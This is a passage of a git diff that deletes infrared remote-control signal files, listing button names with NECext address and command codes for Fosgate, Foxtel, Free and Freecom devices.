SAT -type: parsed -protocol: NECext -address: 40 40 00 00 -command: D2 00 00 00 -# -name: VIDEO_1 -type: parsed -protocol: NECext -address: 40 40 00 00 -command: D2 00 00 00 -# -name: STEREO -type: parsed -protocol: NECext -address: 40 40 00 00 -command: E2 00 00 00 -# -name: DVD -type: parsed -protocol: NECext -address: 40 40 00 00 -command: F2 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 40 40 00 00 -command: F8 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fosgate/Surround Processor/132,66.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fosgate/Surround Processor/132,66.ir deleted file mode 100644 index 9e9e471be..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fosgate/Surround Processor/132,66.ir +++ /dev/null @@ -1,458 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: S-VID-1 -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 00 00 00 00 -# -name: SIBILANT_FILTERS -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 00 00 00 00 -# -name: MOVIE_70MM -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 02 00 00 00 -# -name: MOVIE_70MM_WIDE -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 02 00 00 00 -# -name: ROCK -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 03 00 00 00 -# -name: S-VID-2 -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 04 00 00 00 -# -name: RE-EQ_FILTERS -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 04 00 00 00 -# -name: MOVIE_70MM -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 06 00 00 00 -# -name: MOVIE_35MM -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 06 00 00 00 -# -name: 70MM -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 06 00 00 00 -# -name: POPULAR -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 07 00 00 00 -# -name: POP -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 07 00 00 00 -# -name: VCR -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 08 00 00 00 -# -name: STEREO_BYPASS -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 08 00 00 00 -# -name: PRO_LOGIC -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 0A 00 00 00 -# -name: THX -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 0A 00 00 00 -# -name: PRO_LOGC -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 0A 00 00 00 -# -name: JAZZ -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 0B 00 00 00 -# -name: MONO_ENHANCE -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 0E 00 00 00 -# -name: PRO_LOGIC -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 0E 00 00 00 -# -name: CLASSICAL -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 0F 00 00 00 -# -name: CHAMBER -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 0F 00 00 00 -# -name: CLAS -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 0F 00 00 00 -# -name: MONO_ENHANCE -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 12 00 00 00 -# -name: BYPASS -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 13 00 00 00 -# -name: ORCHESTRA -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 13 00 00 00 -# -name: ORCH -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 13 00 00 00 -# -name: SRND_OFF -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 13 00 00 00 -# -name: BACK_LEVEL_^ -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 18 00 00 00 -# -name: REAR_VOL+ -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 18 00 00 00 -# -name: MASTER_VOLUME_V -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 19 00 00 00 -# -name: MASTER_LEVEL_V -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 19 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 19 00 00 00 -# -name: SOURCE_^ -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 40 00 00 00 -# -name: PAN_CTR -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 40 00 00 00 -# -name: PAN_CENTER -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 40 00 00 00 -# -name: LV -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 41 00 00 00 -# -name: INPUT_CALIBRATE_< -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 41 00 00 00 -# -name: SOURCE_V -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 43 00 00 00 -# -name: PAN_V -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 43 00 00 00 -# -name: DELAY_^ -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 44 00 00 00 -# -name: SOURCE_^ -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 44 00 00 00 -# -name: AUX_1 -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 45 00 00 00 -# -name: AUTO -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 45 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 45 00 00 00 -# -name: DELAY_V -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 47 00 00 00 -# -name: SOURCE_V -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 47 00 00 00 -# -name: BASS_EQ_^ -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 48 00 00 00 -# -name: DELAY_^ -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 48 00 00 00 -# -name: SIB -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 48 00 00 00 -# -name: BASS_+ -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 48 00 00 00 -# -name: AUX_2 -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 49 00 00 00 -# -name: INPUT_CALIBRATE_> -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 49 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 49 00 00 00 -# -name: BASS_EQ_V -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 4B 00 00 00 -# -name: DELAY_V -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 4B 00 00 00 -# -name: BYPASS -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 4B 00 00 00 -# -name: BASS_- -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 4B 00 00 00 -# -name: CTR_ON -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 4C 00 00 00 -# -name: CNTR_ON -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 4C 00 00 00 -# -name: BOOST -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 4F 00 00 00 -# -name: CNTR+ -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 4F 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 50 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 51 00 00 00 -# -name: HI_FREQ -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 53 00 00 00 -# -name: PANEL_LIGHTS -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 53 00 00 00 -# -name: RE-EQ -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 53 00 00 00 -# -name: BACK_LEVEL_REF -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 56 00 00 00 -# -name: REF -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 56 00 00 00 -# -name: MASTER_VOLUME_^ -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 58 00 00 00 -# -name: MASTER_LEVEL_^ -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 58 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 58 00 00 00 -# -name: BACK_LEVEL_V -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 5A 00 00 00 -# -name: REAR_VOL- -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 5A 00 00 00 -# -name: SIBILANT -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 5F 00 00 00 -# -name: PAN_^ -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Foxtel/Set Top Box/33,160.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Foxtel/Set Top Box/33,160.ir deleted file mode 100644 index 22c4572cf..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Foxtel/Set Top Box/33,160.ir +++ /dev/null @@ -1,212 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 21 A0 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 21 A0 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 21 A0 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 21 A0 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 21 A0 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 21 A0 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 21 A0 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 21 A0 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 21 A0 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 21 A0 00 00 -command: 09 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 21 A0 00 00 -command: 0C 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 21 A0 00 00 -command: 0D 00 00 00 -# -name: I -type: parsed -protocol: NECext -address: 21 A0 00 00 -command: 0F 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 21 A0 00 00 -command: 10 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 21 A0 00 00 -command: 11 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 21 A0 00 00 -command: 20 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 21 A0 00 00 -command: 21 00 00 00 -# -name: AV -type: parsed -protocol: NECext -address: 21 A0 00 00 -command: 38 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: 21 A0 00 00 -command: 54 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 21 A0 00 00 -command: 58 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 21 A0 00 00 -command: 59 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 21 A0 00 00 -command: 5A 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 21 A0 00 00 -command: 5B 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 21 A0 00 00 -command: 5C 00 00 00 -# -name: RED -type: parsed -protocol: NECext -address: 21 A0 00 00 -command: 6D 00 00 00 -# -name: GREEN -type: parsed -protocol: NECext -address: 21 A0 00 00 -command: 6E 00 00 00 -# -name: YELLOW -type: parsed -protocol: NECext -address: 21 A0 00 00 -command: 6F 00 00 00 -# -name: BLUE -type: parsed -protocol: NECext -address: 21 A0 00 00 -command: 70 00 00 00 -# -name: HELP -type: parsed -protocol: NECext -address: 21 A0 00 00 -command: 81 00 00 00 -# -name: BACK -type: parsed -protocol: NECext -address: 21 A0 00 00 -command: 83 00 00 00 -# -name: FOXTEL -type: parsed -protocol: NECext -address: 21 A0 00 00 -command: 8E 00 00 00 -# -name: TV_GUIDE -type: parsed -protocol: NECext -address: 21 A0 00 00 -command: CC 00 00 00 -# -name: BOX_OFFICE -type: parsed -protocol: NECext -address: 21 A0 00 00 -command: D5 00 00 00 -# -name: PLANNER -type: parsed -protocol: NECext -address: 21 A0 00 00 -command: F4 00 00 00 -# -name: ACTIVE -type: parsed -protocol: NECext -address: 21 A0 00 00 -command: FD 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Foxtel/Unknown_Digital/0,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Foxtel/Unknown_Digital/0,0.ir deleted file mode 100644 index 5829a2cd9..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Foxtel/Unknown_Digital/0,0.ir +++ /dev/null @@ -1,194 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: power -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: ch-up -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: ch-down -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: setup -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3C 00 00 00 -# -name: up -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 58 00 00 00 -# -name: down -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 59 00 00 00 -# -name: left -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5A 00 00 00 -# -name: right -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5B 00 00 00 -# -name: select -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5C 00 00 00 -# -name: red -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6D 00 00 00 -# -name: green -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6E 00 00 00 -# -name: yellow -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6F 00 00 00 -# -name: blue -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 70 00 00 00 -# -name: boxoffice -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 7D 00 00 00 -# -name: active -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 7E 00 00 00 -# -name: foxtel -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 80 00 00 00 -# -name: help -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 81 00 00 00 -# -name: back -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 83 00 00 00 -# -name: av -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 84 00 00 00 -# -name: i -type: parsed -protocol: NECext -address: 00 00 00 00 -command: CB 00 00 00 -# -name: tvguide -type: parsed -protocol: NECext -address: 00 00 00 00 -command: CC 00 00 00 -# -name: planner -type: parsed -protocol: NECext -address: 00 00 00 00 -command: F5 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Foxtel/Unknown_foxtel/33,160.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Foxtel/Unknown_foxtel/33,160.ir deleted file mode 100644 index daaec77af..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Foxtel/Unknown_foxtel/33,160.ir +++ /dev/null @@ -1,212 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 21 A0 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 21 A0 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 21 A0 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 21 A0 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 21 A0 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 21 A0 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 21 A0 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 21 A0 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 21 A0 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 21 A0 00 00 -command: 09 00 00 00 -# -name: Power -type: parsed -protocol: NECext -address: 21 A0 00 00 -command: 0C 00 00 00 -# -name: mute -type: parsed -protocol: NECext -address: 21 A0 00 00 -command: 0D 00 00 00 -# -name: i -type: parsed -protocol: NECext -address: 21 A0 00 00 -command: 0F 00 00 00 -# -name: vol+ -type: parsed -protocol: NECext -address: 21 A0 00 00 -command: 10 00 00 00 -# -name: vol- -type: parsed -protocol: NECext -address: 21 A0 00 00 -command: 11 00 00 00 -# -name: ch+ -type: parsed -protocol: NECext -address: 21 A0 00 00 -command: 20 00 00 00 -# -name: ch- -type: parsed -protocol: NECext -address: 21 A0 00 00 -command: 21 00 00 00 -# -name: av -type: parsed -protocol: NECext -address: 21 A0 00 00 -command: 38 00 00 00 -# -name: setup -type: parsed -protocol: NECext -address: 21 A0 00 00 -command: 54 00 00 00 -# -name: up -type: parsed -protocol: NECext -address: 21 A0 00 00 -command: 58 00 00 00 -# -name: down -type: parsed -protocol: NECext -address: 21 A0 00 00 -command: 59 00 00 00 -# -name: left -type: parsed -protocol: NECext -address: 21 A0 00 00 -command: 5A 00 00 00 -# -name: right -type: parsed -protocol: NECext -address: 21 A0 00 00 -command: 5B 00 00 00 -# -name: select -type: parsed -protocol: NECext -address: 21 A0 00 00 -command: 5C 00 00 00 -# -name: red -type: parsed -protocol: NECext -address: 21 A0 00 00 -command: 6D 00 00 00 -# -name: green -type: parsed -protocol: NECext -address: 21 A0 00 00 -command: 6E 00 00 00 -# -name: yellow -type: parsed -protocol: NECext -address: 21 A0 00 00 -command: 6F 00 00 00 -# -name: blue -type: parsed -protocol: NECext -address: 21 A0 00 00 -command: 70 00 00 00 -# -name: help -type: parsed -protocol: NECext -address: 21 A0 00 00 -command: 81 00 00 00 -# -name: back -type: parsed -protocol: NECext -address: 21 A0 00 00 -command: 83 00 00 00 -# -name: FOXTEL -type: parsed -protocol: NECext -address: 21 A0 00 00 -command: 8E 00 00 00 -# -name: tvGuide -type: parsed -protocol: NECext -address: 21 A0 00 00 -command: CC 00 00 00 -# -name: boxOffice -type: parsed -protocol: NECext -address: 21 A0 00 00 -command: D5 00 00 00 -# -name: planner -type: parsed -protocol: NECext -address: 21 A0 00 00 -command: F4 00 00 00 -# -name: active -type: parsed -protocol: NECext -address: 21 A0 00 00 -command: FD 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Free/Unknown_REMOTE/11,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Free/Unknown_REMOTE/11,-1.ir deleted file mode 100644 index 20375ad76..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Free/Unknown_REMOTE/11,-1.ir +++ /dev/null @@ -1,212 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 00 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 02 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 04 00 00 00 -# -name: KEY_NUMERIC_STAR -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 06 00 00 00 -# -name: KEY_OPTION -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 07 00 00 00 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 09 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 0B 00 00 00 -# -name: HEART -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 0F 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 10 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 11 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 12 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 14 00 00 00 -# -name: MAIL -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 15 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 1B 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 1C 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 1E 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 1F 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 20 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 21 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 22 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 23 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 24 00 00 00 -# -name: KEY_X -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 25 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 27 00 00 00 -# -name: KEY_NUMERIC_POUND -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 28 00 00 00 -# -name: TV/AV -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 2A 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 2B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 2E 00 00 00 -# -name: KEY_HOME -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 2F 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 31 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 33 00 00 00 -# -name: ? -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 37 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 3B 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 3E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Free/Unknown_V5/36,12.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Free/Unknown_V5/36,12.ir deleted file mode 100644 index b32e4580a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Free/Unknown_V5/36,12.ir +++ /dev/null @@ -1,296 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 00 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 24 0C 00 00 -command: 00 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 24 0C 00 00 -command: 00 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 24 0C 00 00 -command: 00 00 00 00 -# -name: jleft -type: parsed -protocol: NECext -address: 24 0C 00 00 -command: 00 00 00 00 -# -name: jdown -type: parsed -protocol: NECext -address: 24 0C 00 00 -command: 00 00 00 00 -# -name: jright -type: parsed -protocol: NECext -address: 24 0C 00 00 -command: 00 00 00 00 -# -name: jup -type: parsed -protocol: NECext -address: 24 0C 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 01 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 24 0C 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 02 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 24 0C 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 09 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 0A 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 0D 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 0F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 20 00 00 00 -# -name: bleft -type: parsed -protocol: NECext -address: 24 0C 00 00 -command: 20 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 21 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 2E 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 2F 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 31 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 37 00 00 00 -# -name: bright -type: parsed -protocol: NECext -address: 24 0C 00 00 -command: 40 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 4C 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 4D 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 58 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 59 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 5A 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 5B 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 5C 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 24 0C 00 00 -command: 80 00 00 00 -# -name: ? -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 81 00 00 00 -# -name: KEY_ESC -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 9E 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 24 00 00 00 -command: B8 00 00 00 -# -name: KEY_LIST -type: parsed -protocol: NECext -address: 24 00 00 00 -command: CC 00 00 00 -# -name: screen -type: parsed -protocol: NECext -address: 24 00 00 00 -command: CD 00 00 00 -# -name: free -type: parsed -protocol: NECext -address: 24 00 00 00 -command: D7 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 24 00 00 00 -command: F2 00 00 00 -# -name: envelope -type: parsed -protocol: NECext -address: 24 00 00 00 -command: F3 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Freecom/Unknown_MP35/128,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Freecom/Unknown_MP35/128,-1.ir deleted file mode 100644 index 1eb8caf73..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Freecom/Unknown_MP35/128,-1.ir +++ /dev/null @@ -1,254 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 00 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 02 00 00 00 -# -name: KEY_SCREEN -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 03 00 00 00 -# -name: KEY_CANCEL -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 05 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 06 00 00 00 -# -name: 